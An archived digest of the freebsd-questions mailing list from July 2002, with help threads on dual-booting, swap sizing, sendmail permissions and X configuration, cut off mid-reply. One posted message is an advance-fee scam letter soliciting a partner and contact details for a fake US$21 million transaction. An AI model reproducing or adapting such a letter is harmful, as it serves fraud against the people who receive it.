Subject: Re: Dual-booting win98 and FreeBSD problem
Date: Wed, 31 Jul 2002 21:18:57 +0200
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X-Loop: FreeBSD.ORG

Hi,

> > I have installed FreeBSD 4.4 and Win98SE each on its
> > own disk.
> > (FreeBSD on /dev/ad0s1a and Win98SE on /dev/ad1s1 ).
> >
> > I have also installed the FreeBSD boot manager on
> > ad0.
> >
> > (ad0 is the primary master and ad1 is the primary
> > slave)
> >
> > When the computer boots, I get this prompt:
> >
> > F1      FreeBSD
> > F5      Drive 1
> >
> > When I press F1, FreeBSD boots nice and well.
> >
> > But, when I press F5, then instead of win98, FreeBSD
> > boots again (nice
> > and well).

Standard windows always tries to boot from the first partition on the
first disk of the primary IDE channel. Just swap your disks so that win
is ad0 and FreeBSD ad1 and adopt the boot process accordingly (actually
do this first, otherwise have a look on the relevant manpages for the
syntax to call disks at the bootlader).

I heard of some boot managers, who should be able to boot win from the
second disk with some tricks, but can't remember which ones. First
guess: Have a look at www.xosl.org .

> I am not completely sure but my first instinct is that
> when using the freebsd boot manager, any os you wish
> the boot manager to find must be within a certain
> number of sectors/cylinders/heads blah blah blah.
> Therefore when you have multiple os's you wish to be
> bootable, you would do something like make a small
> slice for freebsd, probably a slice just big enough
> for the "/" directory. Then make after that a little
> slice for the "Bill Gates Hell Zone". Then after that
> make the rest of the disk for freebsd. And finally
> make the entire second disk another "Bill Gates Zone
> of Hell". You see in my theory the problem is that the
> boot manager uses a finite number of bits to determine
> where each of the os's start, and by making "bill
> gates land" begin on the second disk, it is beyond the
> largest number that those bits can count up to and so
> it just loads the only os it can find. And then again
> I may be completely wrong haha. Well at least my
> theory sounds good. One day maybe I will get around to
> reading the boot manager that freebsd uses, or any
> boot manager for that matter.  God luck.

FreeBSD bootlaoder is able to boot above the 1024 cylinder limitation
since some time (4.4 or 4.5 maybe). You only need a BIOS which supports
this (IRQ13 extension).

Ciao
Siegbert


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From owner-freebsd-questions  Wed Jul 31 12:39:51 2002
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I urge all list members and users of FreeBSD to execute the following

myprompt$ fdisk > /mounted_removable_media/fdisk.2002-0731.txt

I never created a copy of fdisk's output, nor saved it to, say, a floppy
diskette.  Once I executed `boot0cfg -B /dev/ad0s2` and wiped my MBR, you
could just smell the tremendous regret and self-loathing.  >:-(

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Wed Jul 31 12:42:50 2002
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I urge all list members and users of FreeBSD to execute the following

myprompt$ fdisk > /mounted_removable_media/fdisk.2002-0731.txt

I never created a copy of fdisk's output, nor saved it to, say, a floppy
diskette.  Once I executed `boot0cfg -B /dev/ad0s2` and wiped my MBR, you
could just smell the tremendous regret and self-loathing.  >:-(

PS: While you're at it, cp /etc/rc.conf and some ~/.* files too.

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Wed Jul 31 12:48:50 2002
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Date: Wed, 31 Jul 2002 15:48:42 -0400
From: Rob Ellis <rob@web.ca>
To: freebsd-questions@freebsd.org
Subject: Re: 1GB ram, how much SWAP?
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found a recent thread on this in freebsd-hackers:

http://www.FreeBSD.org/cgi/search.cgi?words=swap+huge+mem+systems&max=50&sort=score&index=recent&source=freebsd-hackers

the consensus seems to be that if you want to be able to get
crash dumps, you need a single partition == to your memory, which
doesn't need to be a swap partition (if you have an old disk online,
you don't want to use it for swap because it's slow, but it's ok
for dumps); if you plan to add memory, you should start with 
more swap. nothing mentioned about efficiency of memory usage,
it would be interesting to know more about that...

i think if there are problems with a machine crashing, it wouldn't
be hard to put an old ide drive in it, and configure for crash
dumps. in the meantime, 1GB ram + .5GB swap still seems like lots?

- rob

On Wed, Jul 31, 2002 at 01:58:17PM -0500, Kirk Strauser wrote:
> 
> At 2002-07-31T17:17:28Z, Rob Ellis <rob@web.ca> writes:
> 
> > if you have a gigabyte of ram, does the 2 x ram calculation for the swap
> > partition (from the fbsd handbook) still make sense?  thanks.
> 
> IANA kernel hacker, but I've read that you should allocate at least twice
> the amount of RAM for the main reason that FreeBSD's VM system is optimized
> for that amount.  It will still run with less swap, but it will use
> less-optimal algorithms and/or settings.
> -- 
> Kirk Strauser
> The Strauser Group - http://www.strausergroup.com/
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message

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From owner-freebsd-questions  Wed Jul 31 13: 1:56 2002
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Date: Wed, 31 Jul 2002 12:52:37 -0700 (PDT)
From: Kamal Prasad <kamalpr@yahoo.com>
Subject: installation on a dell 2600
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when I  use the 4.6 FreeBSD CD for installation on my
dell Inspirion 2600 laptop., the kernel freezes during
bootup.
it gives this message:-
pci0:unknown card<0x8086, 0x2483> ...
is there a tiny/laptop kernel which continues the
bootup even if it cannot recognize the pci card(s)?
thanks
-kamal


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From owner-freebsd-questions  Wed Jul 31 13: 4:19 2002
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Subject: getty[893]: login_tty /dev/console: Operation not supported by device
Date: Wed, 31 Jul 2002 16:05:54 -0400
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This is a multi-part message in MIME format.

------=_NextPart_000_004A_01C238AC.2644D210
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I just cvsup'd and made over the world etc from yesterdays build.  =
(7-30-2002).  I'm running 4.6-STABLE and am now occuring an error that =
is spamming the console repeatedely.  This is the message I'm seeing =
spamming across the console/logs:

Jul 31 16:00:45 zeist getty[893]: login_tty /dev/console: Operation not =
supported by device

su-2.05a# uname -a
FreeBSD zeist.XXXXX 4.6-STABLE FreeBSD 4.6-STABLE #20: Wed Jul 31 =
03:01:55 EDT 2002     root@XXXXXX:/usr/obj/usr/src/sys/zeist  i386

This just happened after the cvsup.  Any ideas of where I could possibly =
go to fix this or what I should be taking a look at? thank you.

Matt


------=_NextPart_000_004A_01C238AC.2644D210
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2716.2200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I just cvsup'd and made over the world =
etc from=20
yesterdays build.&nbsp; (7-30-2002).&nbsp; I'm running 4.6-STABLE and am =
now=20
occuring an error that is spamming the console repeatedely.&nbsp; This =
is the=20
message I'm seeing spamming across the console/logs:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Jul 31 16:00:45 zeist getty[893]: =
login_tty=20
/dev/console: Operation not supported by device</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>su-2.05a# uname -a<BR>FreeBSD =
zeist.XXXXX=20
4.6-STABLE FreeBSD 4.6-STABLE #20: Wed Jul 31 03:01:55 EDT=20
2002&nbsp;&nbsp;&nbsp;&nbsp; <A=20
href=3D"mailto:root@XXXXXX:/usr/obj/usr/src/sys/zeist">root@XXXXXX:/usr/o=
bj/usr/src/sys/zeist</A>&nbsp;=20
i386</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>This just happened after the =
cvsup.&nbsp; Any ideas=20
of where I could possibly go to fix this or what I should be taking a =
look at?=20
thank you.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Matt</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

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From owner-freebsd-questions  Wed Jul 31 13: 6: 5 2002
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From: Jonathan Chen <jonc@chen.org.nz>
To: Leon Lin <leonlin@k-hung.com>
Cc: freebsd-questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: We support our customer service, but.......
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On Wed, Jul 31, 2002 at 09:26:15AM +0800, Leon Lin wrote:
> Dear all
> 
>    Some customer of my company interest in FreeBSD.
>    We have tell them about GPL.

FreeBSD uses the more liberal (and non-viral) BSD licence.

>    Would you please tell me where can I BUY FreeBSD packages?

You can try freebsdmall.com, or just download the ISO images and burn
a CD.

Cheers.
-- 
Jonathan Chen <jonc@chen.org.nz>
----------------------------------------------------------------------
                                         "Nyuck, nyuck, nyuck" - Curly

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From owner-freebsd-questions  Wed Jul 31 13: 9:24 2002
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Date: Wed, 31 Jul 2002 13:09:14 -0700 (PDT)
From: oluseyi williams <will2olu@yahoo.com>
Subject: Proposal.
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--0-2114929087-1028146154=:73282
Content-Type: text/plain; charset=us-ascii

 Dear SIR 
> I have been instructed by my colleagues to look for
> partners who can assist
> us execute an urgent business transaction involving
> huge profits and
> international cooperation.
> 
> We are interested in the importation of Solar
> Panels, Agricultural equipment
> 
> and computer accessories. We need a foreign partner
> who can assist us with
> the transaction involving US$21, 320 000.00, which
> has been set-aside in an
> escrow account. We have resolved that a negotiable
> percentage will be your
> commission for participating in this transaction on
> our behalf and any other
> 
> assistance you may give in this deal. A percentage
> will also be set aside
> from the entire sum to settle any expenses we may
> incur in the cause on
> these transactions.
> 
> My colleagues and I are civil servants and as such,
> it is not possible for
> any of us to operate a foreign account directly;
> hence we are soliciting
> your support. We propose to finalize the transaction
> in ten working days.
> 
> If this proposal is accepted please respond to us
> via e-mail to enable us
> provide you with the detailed modalities for the
> successful completion of
> the project. I would also suppose you'd prefer a
> voice contact which
> requires sending your telephone and fax numbers to
> facilitate the various
> processes.There is no risk involved we just need an
> international
> contact.Moreso,it will be of great importance you
> provide me with your
> telephone/fax details,so we can have a more detailed
> conversation regarding
> the whole project.
> 
> Finally, if you are not interested in this proposal,
> I apologize on behalf
> of myself and my colleagues for any inconvenience.
> 
> Yours Sincerely,
> 
> DR SEYI WILLIAMS
> 
> 
> 


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&nbsp;Dear SIR <BR>&gt; I have been instructed by my colleagues to look for<BR>&gt; partners who can assist<BR>&gt; us execute an urgent business transaction involving<BR>&gt; huge profits and<BR>&gt; international cooperation.<BR>&gt; <BR>&gt; We are interested in the importation of Solar<BR>&gt; Panels, Agricultural equipment<BR>&gt; <BR>&gt; and computer accessories. We need a foreign partner<BR>&gt; who can assist us with<BR>&gt; the transaction involving US$21, 320 000.00, which<BR>&gt; has been set-aside in an<BR>&gt; escrow account. We have resolved that a negotiable<BR>&gt; percentage will be your<BR>&gt; commission for participating in this transaction on<BR>&gt; our behalf and any other<BR>&gt; <BR>&gt; assistance you may give in this deal. A percentage<BR>&gt; will also be set aside<BR>&gt; from the entire sum to settle any expenses we may<BR>&gt; incur in the cause on<BR>&gt; these transactions.<BR>&gt; <BR>&gt; My colleagues and I are civil servants and as such,<
 BR>&gt; it is not possible for<BR>&gt; any of us to operate a foreign account directly;<BR>&gt; hence we are soliciting<BR>&gt; your support. We propose to finalize the transaction<BR>&gt; in ten working days.<BR>&gt; <BR>&gt; If this proposal is accepted please respond to us<BR>&gt; via e-mail to enable us<BR>&gt; provide you with the detailed modalities for the<BR>&gt; successful completion of<BR>&gt; the project. I would also suppose you'd prefer a<BR>&gt; voice contact which<BR>&gt; requires sending your telephone and fax numbers to<BR>&gt; facilitate the various<BR>&gt; processes.There is no risk involved we just need an<BR>&gt; international<BR>&gt; contact.Moreso,it will be of great importance you<BR>&gt; provide me with your<BR>&gt; telephone/fax details,so we can have a more detailed<BR>&gt; conversation regarding<BR>&gt; the whole project.<BR>&gt; <BR>&gt; Finally, if you are not interested in this proposal,<BR>&gt; I apologize on behalf<BR>&gt; of myself and my co
 lleagues for any inconvenience.<BR>&gt; <BR>&gt; Yours Sincerely,<BR>&gt; <BR>&gt; DR SEYI WILLIAMS<BR>&gt; <BR>&gt; <BR>&gt; <p><br><hr size=1><b>Do You Yahoo!?</b><br>
<a href="http://health.yahoo.com/">Yahoo! Health</a> - Feel better, live better
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From owner-freebsd-questions  Wed Jul 31 13: 9:41 2002
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From: Jonathan Chen <jonc@chen.org.nz>
To: Stefan Schwarzer <sschwarzer@sschwarzer.net>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: passwd(5) line order causes blocking of top(1) - why?
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On Wed, Jul 31, 2002 at 08:36:54PM +0200, Stefan Schwarzer wrote:
> Hello
> 
> About a week ago I had a problem with a top(1) that blocked. I found a 
> workaround
> after discovering that the blocking occured when a NIS netgroup entry in 
> passwd(5)
> was placed before any of its users' entries (for a more thourough 
> description of
> the backgound see the second link given below).
> 
> Ok, I found a workaround, but can anyone explain this behaviour? Is it a bug
> in FreeBSD?

I'd say yes; and you should file a PR with send-pr to flag the
maintainers to have a look at it.
-- 
Jonathan Chen <jonc@chen.org.nz>
----------------------------------------------------------------------
The human mind ordinarily operates at only ten percent of its capacity
                     -- the rest is overhead for the operating system.

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To: Dave <xtalsinger@blueyonder.co.uk>
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Subject: Re: xfree and TV question
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I got this working on my Thinkpad for an external projector, but it should 
work as well for a TV I should think. In the end, I needed to make a 
separate XF86Config file for each output device (LCD or projector) and I 
made a shell script that established a link to the correct one for my use.

In the XF86Config file for the external monitor or TV make sure that

#   Option     "externDisp"

in the "Device" section is uncommented. I can't remember the details, this 
was quite a while (and several XF86Configs) ago. Can you at least get a 
terminal on the television and try to startx from there?

On Tue, 30 Jul 2002, Dave wrote:

> Date: Tue, 30 Jul 2002 23:02:04 +0100
> From: Dave <xtalsinger@blueyonder.co.uk>
> To: questions@FreeBSD.ORG
> Subject: Re: xfree and TV question
> 
> On Mon, 29 Jul 2002 10:28:34 -0500, you wrote:
> 
> >You probably have to make sure your refresh rate in X is set to
> >something your TV can use (50Hz is the PAL refresh rate, I think?) .
> >You'll have to edit the "Monitor" section of the XF86Config.  Try
> >HorizSync 30-50, VertRefresh 50.  Note that this will make for very
> >flickery viewing on your PC monitor, if it even syncs at all.
> 
> I'm trying to do the same thing with an NVidia Riva TNT2 card.  Changing
> the H and V refresh rates just ended up with X failing to start no
> suitable screens found.  The log files shows *every* screen resolution as
> not being available due to "hsync out of range"
> 
> If anyone has managed to get this card to work on a TV with X (or a
> Mach64, or an S3 Savage - got both of those too) I'd appreciate knowing
> how/what you did.
> 
> Dave
> 
> -- 
> Sig abducted by aliens
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 

/* 
 * John Bleichert
 * syborg@stny.rr.com
 * http://vonbek.dhs.org/latest.jpg
 */


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From owner-freebsd-questions  Wed Jul 31 13:14:29 2002
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Doeth! Forgot to cc: the list - sorry all!
---------- Forwarded message ----------
Date: Wed, 31 Jul 2002 15:44:08 -0400 (EDT)
From: John Bleichert <syborg@stny.rr.com>
To: Dave <xtalsinger@blueyonder.co.uk>
Cc: questions@FreeBSD.ORG
Subject: Re: xfree and TV question


I got this working on my Thinkpad for an external projector, but it should 
work as well for a TV I should think. In the end, I needed to make a 
separate XF86Config file for each output device (LCD or projector) and I 
made a shell script that established a link to the correct one for my use.

In the XF86Config file for the external monitor or TV make sure that

#   Option     "externDisp"

in the "Device" section is uncommented. I can't remember the details, this 
was quite a while (and several XF86Configs) ago. Can you at least get a 
terminal on the television and try to startx from there?

On Tue, 30 Jul 2002, Dave wrote:

> Date: Tue, 30 Jul 2002 23:02:04 +0100
> From: Dave <xtalsinger@blueyonder.co.uk>
> To: questions@FreeBSD.ORG
> Subject: Re: xfree and TV question
> 
> On Mon, 29 Jul 2002 10:28:34 -0500, you wrote:
> 
> >You probably have to make sure your refresh rate in X is set to
> >something your TV can use (50Hz is the PAL refresh rate, I think?) .
> >You'll have to edit the "Monitor" section of the XF86Config.  Try
> >HorizSync 30-50, VertRefresh 50.  Note that this will make for very
> >flickery viewing on your PC monitor, if it even syncs at all.
> 
> I'm trying to do the same thing with an NVidia Riva TNT2 card.  Changing
> the H and V refresh rates just ended up with X failing to start no
> suitable screens found.  The log files shows *every* screen resolution as
> not being available due to "hsync out of range"
> 
> If anyone has managed to get this card to work on a TV with X (or a
> Mach64, or an S3 Savage - got both of those too) I'd appreciate knowing
> how/what you did.
> 
> Dave
> 
> -- 
> Sig abducted by aliens
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 

/* 
 * John Bleichert
 * syborg@stny.rr.com
 * http://vonbek.dhs.org/latest.jpg
 */



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From owner-freebsd-questions  Wed Jul 31 13:22: 7 2002
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To: freebsd-questions@freebsd.org
Subject: Re: 1GB ram, how much SWAP?
References: <20020731171728.GH22253@web.ca> <87u1mfk9me.fsf@pooh.int>
	<20020731194842.GL22253@web.ca>
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Rob Ellis <rob@web.ca> writes:

> the consensus seems to be that if you want to be able to get
> crash dumps, you need a single partition == to your memory

64k more than your memory, actually...

> i think if there are problems with a machine crashing, it wouldn't
> be hard to put an old ide drive in it, and configure for crash
> dumps.

Yes, or compile a custom kernel to recognize less RAM than you have
swap space...

>        in the meantime, 1GB ram + .5GB swap still seems like lots?

Depends on how much virtual address space you're using at once.  

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From owner-freebsd-questions  Wed Jul 31 13:22:30 2002
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Date: Wed, 31 Jul 2002 13:22:26 -0700 (PDT)
From: Carlos Carnero <zopewiz@yahoo.com>
Subject: System configuration files under source control
To: FreeBSD Questions <freebsd-questions@freebsd.org>
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Hello,

is there anyone maintaining system configuration files
(like /etc/*) with a revision system? (CVS, RCS, etc.)
Care to share experiences?

Best regards,
Carlos.

__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
http://health.yahoo.com

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From owner-freebsd-questions  Wed Jul 31 13:22:49 2002
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To: Jan Beck <janb@cs.utep.edu>
Cc: freebsd-hardware@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG
Subject: Re: Harddisk damage by driver? 
In-reply-to: Your message of "Wed, 31 Jul 2002 10:59:01 MDT."
             <000c01c238b3$91b0a6d0$0401a8c0@jan> 
Date: Wed, 31 Jul 2002 13:22:40 -0700
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> That brings up a very good question. How many people have had problems due
> to overheating?

Overheating increases the failure rate of drives -- According
to IBM, for every degree above recommended levels the rate
increases 2 to 3%.  You may have been lucky but you can't
generalize your experience.  Vendors test at a whole bunch of
drives under controlled conditions to derive these failure
rates.

IBM has this to say:
    Several failure modes within a disk drive are exacerbated
    by temperature. Thermal tilt of the disk stack and
    actuator arms can occur very quickly and cause off-track
    writes, corrupting data on adjacent cylinders. Outgassing
    of the lubricants in the spindle motor and voice coil
    motor occurs at high temperatures (experienced over a
    relatively short 30-60 day time period), which can lead
    to stiction failures or a possible head crash. Over an
    extended period of time, the bearings can wear out and
    cause mechanical failures

Conversely you can run your disk cooler than recommended
levels and see increased reliability (but don't extrapolate
too far!).  You can buy disk drive cooling fans.

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From owner-freebsd-questions  Wed Jul 31 13:23: 4 2002
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Date: Wed, 31 Jul 2002 14:51:31 -0500 (CDT)
From: DiaDems@datasync.com
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Subject: Network Problem (Gateway/Route)
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I am still having problems getting the server to work on the network at 
our datacenter. The problem is when the server is rebooted it does not come 
back online (connected to the internet in other words). The server reboots fine 
but you can not ping any remote sites. The problem lies in the gateways. We are 
able to temporally fix the problem with this command below: 
  
route add -net 0.0.0.0 204.251.1.97 
  
We have to manually change the routing tables each time the server is rebooted 
in order to have it connected to the internet. Gateway information is entered 
correctly in the rc.conf file.

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From owner-freebsd-questions  Wed Jul 31 13:25:50 2002
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To: Jeff Jirsa <jeff@boris.st.hmc.edu>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: can't send mail: "collect: Cannot write ./dd j000181 (bfcommit) 
In-Reply-To: Your message of "Wed, 31 Jul 2002 12:25:42 PDT."
             <20020731121938.W20940-100000@boris.st.hmc.edu> 
From: dochawk@psu.edu
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Jeff jumped,

> On Wed, 31 Jul 2002, Richard E. Hawkins wrote:

> > slytherinttyp1:hawk>collect: Cannot write ./dfg6VE77n7000152 (bfcommit, uid=1000, gid=25): Permission denied
> > queueup: cannot create queue temp file ./tfg6VE77n7000152, uid=1000: Permission denied

> What version of sendmail?

whatever was in -STABLE this week :)  It doesn't seem to respond to my 
usual ways of looking for a version.  However,

sendmail -v provoks

Warning: .cf file is out of date: sendmail 8.12.5 supports version 10, .cf file is version 9
Recipient names must be specified

so I'm guessing 8.12.5 :)

> What are the permissions on /var/spool/mqueue and /var/spool/clientmqueue ?

> If you're running sendmail 8.12.x, It should look something like:

> # ll /var/spool/ | grep *mqueue
> drwxrwx---  2 smmsp   smmsp   512 Jul 31 11:43 clientmqueue/
> drwxr-xr-x  2 root    daemon  512 Jul 31 12:19 mqueue/

slytherin# ls -l /var/spool | grep mque
drwxrwx---  2 smmsp  smmsp   512 Jul 25 18:26 clientmqueue
drwxr-xr-x  2 root   daemon  512 Jul 31 13:02 mqueue

These seem to match.

I also just discovered that root is capable of sending mail . . .

> and whichever sendmail binary you're using (probably
> /usr/libexec/sendmail/sendmail) needs to be setgid smmsp:

> # ll /usr/libexec/sendmail
> total 1008
> lrwxr-xr-x  1 root  wheel      15 Jul  5 23:31 sendmail@ -> sendmail-8.12.3
> -r-xr-sr-x  1 root  smmsp  599501 Jul  5 23:29 sendmail-8.12.3*

slytherin# ls -l /usr/libexec/sendmail/
total 592
-r-xr-sr-x  1 root  smmsp  586944 Jul 31 14:02 sendmail



These match, as near as i can tell.

Did I need to add myself to a group, perhaps?

thanks

hawk

-- 



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From owner-freebsd-questions  Wed Jul 31 13:32:49 2002
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To: Dale Morris <dlm@well.com>
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Subject: Re: AC 97 Soundcard
References: <20020729150634.GA6091@well.com>
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[This is a question better suited for -questions.]

Dale Morris wrote:
> 
> I'm trying to get sound established for my new 4.6 FreeBSD system and my
> sound card is an onboard AC 97 on an MSI (MicroStar Int) MS-6309 LE2
> mainboard.
> 
> Do I have to compile sound support in the kernel or can I load a kld for
> the soundcard? Such as:
> root# kldload ac97**module

The MS-6309 LE2 board has a VIA82C686 chipset which has integrated
audio hardware supported by the pcm driver.

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From owner-freebsd-questions  Wed Jul 31 13:42:31 2002
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Date: Wed, 31 Jul 2002 13:41:27 -0700
From: Terry Lambert <tlambert2@mindspring.com>
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To: O Senhor <osenhor@uol.com.br>
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Subject: Re: poll
References: <1028135320.30391.145.camel@ws-tor-004>
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O Senhor wrote:
>   Hello,
>   My FreeBSD 4.6 box (running ldap server) sldap, stops with the sldap
> process in this loop:
> ...
> poll([{fd=3, events=POLLRDNORM}], 1, 10000) = 0
> gettimeofday({1028123628, 836383}, NULL) = 0
> clock_gettime(0, 0xbfafefa4)            = 0
> poll([{fd=3, events=POLLRDNORM}], 1, 10000) = 0
> gettimeofday({1028123638, 846478}, NULL) = 0
> clock_gettime(0, 0xbfafefa4)            = 0
> ...
> 
>  Any idea???
> ps.: I got this messages with strace -p <pid-of-sldap>.

First idea:	Post this only to questions instead of cross-posting
		it to -hackers.  Followups set to just -questions.

Second idea:	This is an LDAP problem, not a FreeBSD problem, so
		post it to the LDAP mailing list.

Third idea:	It looks like you are running the University of
		Michigan LDAP code unmodified, instead of using
		my patches to it.  Use OpenLDAP instead, which is
		the UMich. code plus my patches plus a hell of a
		lot more.

-- Terry

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From owner-freebsd-questions  Wed Jul 31 13:43: 6 2002
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On Tue, 30 Jul 2002, Darren Pilgrim wrote:
> Date: Tue, 30 Jul 2002 20:05:47 -0700
> From: Darren Pilgrim <dmp@pantherdragon.org>
> To: Dale Morris <dlm@well.com>
> Cc: freebsd-questions@FreeBSD.ORG
> Subject: Re: AC 97 Soundcard
> 
> [This is a question better suited for -questions.]
> 
> Dale Morris wrote:
> > 
> > I'm trying to get sound established for my new 4.6 FreeBSD system and my
> > sound card is an onboard AC 97 on an MSI (MicroStar Int) MS-6309 LE2
> > mainboard.
> > 
> > Do I have to compile sound support in the kernel or can I load a kld for
> > the soundcard? Such as:
> > root# kldload ac97**module
> 
> The MS-6309 LE2 board has a VIA82C686 chipset which has integrated
> audio hardware supported by the pcm driver.
> 

And to finish, this means pcm support must be added to your kernel, as per 
the sound configuration section of the handbook.




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From owner-freebsd-questions  Wed Jul 31 13:44:54 2002
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From: Steve Mazerski <smazerski@yahoo.co.jp>
To: Peter Leftwich <Hostmaster@Video2Video.Com>,
	FreeBSD LIST <FreeBSD-Questions@freebsd.org>
Subject: OT: Re: "URGENT RECOMMENDATION"
Date: Wed, 31 Jul 2002 22:46:14 +0200
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X-Loop: FreeBSD.ORG


Seeing your subject "URGENT RECOMMENDATION", the first thought
that came into my head that you were going to tell us all how you are the=
=20
second wife of the former Nigerian President's son-in-law's third cousin
who has 30 million US$ in an inacessible tupperware container in the Leba=
non =20
looking for a better home and that your keyboard's caps lock key is=20
irrevocably stuck into the ON-position.

;-)

Apologies for the waste of bandwith

S.Mazerski
(who keeps a very small Linux installation for purposes of using LILO)

On Wednesday 31 July 2002 21:39, Peter Leftwich wrote:
> I urge all list members and users of FreeBSD to execute the following
>
> myprompt$ fdisk > /mounted_removable_media/fdisk.2002-0731.txt
>
> I never created a copy of fdisk's output, nor saved it to, say, a flopp=
y
> diskette.  Once I executed `boot0cfg -B /dev/ad0s2` and wiped my MBR, y=
ou
> could just smell the tremendous regret and self-loathing.  >:-(

--=20
A billion here, a couple of billion there -- first thing you know it
adds up to be real money.
=09=09-- Senator Everett McKinley Dirksen


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From owner-freebsd-questions  Wed Jul 31 13:46:18 2002
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Date: Wed, 31 Jul 2002 13:46:14 -0700 (PDT)
From: William Blair Wagner <blairwag1965@yahoo.com>
Subject: extending the /usr filesystem - HELP!
To: freebsd-questions <freebsd-questions@FreeBSD.ORG>
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X-Loop: FreeBSD.ORG

Hey Gang,

Somewhat new to FreeBSD - I've found myself building
and installing many of the ports that I never thought
I'd install. so far, so good. However, I made the
/usr(/dev/ad2s1g) filesystem only 3GB. Now, I'm not
yet out of space, but seeing as I really like having
all this source code to peruse, I'd really like to
keep it all, and get more.

I also created a large 10GB file system and another
4GB file system, called /usr3(/dev/ad2s1h) and
/usr4(/dev/ad2s1d) respecively. I'd like to blow away
/usr3 and/usr4, then give about 6GB of space (now
freed up) to /usr, and create one final large
partition/slice and mount it on /usr3. The good news
is that the whole disk is dedicated to FreeBSD, and
/usr4 is the last (center slice) on the disk. /usr3 is
the next to the last slice on the disk, and /usr is
next to /usr3.

Ive been all over the handbook, along with other
documents and articles. I can see to run
/stand/sysinstall to do the fdisk and label editor
work. But, I'd really like to know that I'm doing this
right. I figured I'd delete the 2 slices at the end,
and give 6 more GB to /usr, and set the rest as one
large slice. Once done, how do I extend the /usr
filesystem without losing its contents.

I'm not usbscribed to this mailing list - so please
reply directly to me as well as the list, with useful
suggestions.

TIA - you *ARE* the best!


=====
--
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
William Blair Wagner   : Education is not always knowing the answer
blairwag1965@yahoo.com : ..but rather knowing where to look for it!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
http://health.yahoo.com

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From owner-freebsd-questions  Wed Jul 31 13:47:45 2002
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Subject: Re: Re: Dual-booting win98 and FreeBSD problem
From: "Jud" <jud@myrealbox.com>
To: Siegbert.Baude@gmx.de
Cc: wayneclubin@yahoo.com, system@pathfinder.gr,
	freebsd-questions@freebsd.org
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X-Loop: FreeBSD.ORG



-----Original Message-----
From: "Siegbert Baude" <Siegbert.Baude@gmx.de>
To: "Wayne Lubin" <wayneclubin@yahoo.com>, <system@pathfinder.gr>
Date: Wed, 31 Jul 2002 21:18:57 +0200
Subject: Re: Dual-booting win98 and FreeBSD problem

Hi,

> > I have installed FreeBSD 4.4 and Win98SE each on its
> > own disk.
> > (FreeBSD on /dev/ad0s1a and Win98SE on /dev/ad1s1 ).
> >
> > I have also installed the FreeBSD boot manager on
> > ad0.
> >
> > (ad0 is the primary master and ad1 is the primary
> > slave)
> >
> > When the computer boots, I get this prompt:
> >
> > F1      FreeBSD
> > F5      Drive 1
> >
> > When I press F1, FreeBSD boots nice and well.
> >
> > But, when I press F5, then instead of win98, FreeBSD
> > boots again (nice
> > and well).

Standard windows always tries to boot from the first partition on the
first disk of the primary IDE channel. Just swap your disks so that win
is ad0 and FreeBSD ad1 and adopt the boot process accordingly (actually
do this first, otherwise have a look on the relevant manpages for the
syntax to call disks at the bootlader).

I heard of some boot managers, who should be able to boot win from the
second disk with some tricks, but can't remember which ones. First
guess: Have a look at www.xosl.org .
[snip]
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

Grub in the FreeBSD ports (/usr/ports/sysutils/grub) 
will also do this - look in grub's documentation under 
the "map" command.

Jud


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From owner-freebsd-questions  Wed Jul 31 13:49:11 2002
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Thanks everybody on ftp only login all your suggestions worked. I have =
another problem and I know .  The person that I am working for want me =
to write a script in ksh to do some root commands and thenexit.  Is =
there a way to get root permission in a script.

Thanks

Phil=20

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<DIV><FONT face=3DArial size=3D2>Thanks everybody on ftp only login all =
your=20
suggestions worked. I have another problem and I know .&nbsp; The person =
that I=20
am working for want me to write a script in ksh to&nbsp;do some root =
commands=20
and thenexit.&nbsp; Is there a way to get root permission in a=20
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From owner-freebsd-questions  Wed Jul 31 13:49:19 2002
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How can I get to download freeBSD?
Thanks.

__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
http://health.yahoo.com

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From owner-freebsd-questions  Wed Jul 31 13:51:18 2002
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>-----Original Message-----
>From: Esan Korede [mailto:annointedy2k@yahoo.com]
>Sent: July 31, 2002 4:49 PM
>To: freebsd-questions@FreeBSD.ORG
>Subject: 
>
>How can I get to download freeBSD?
>Thanks.
>


This is a good start:
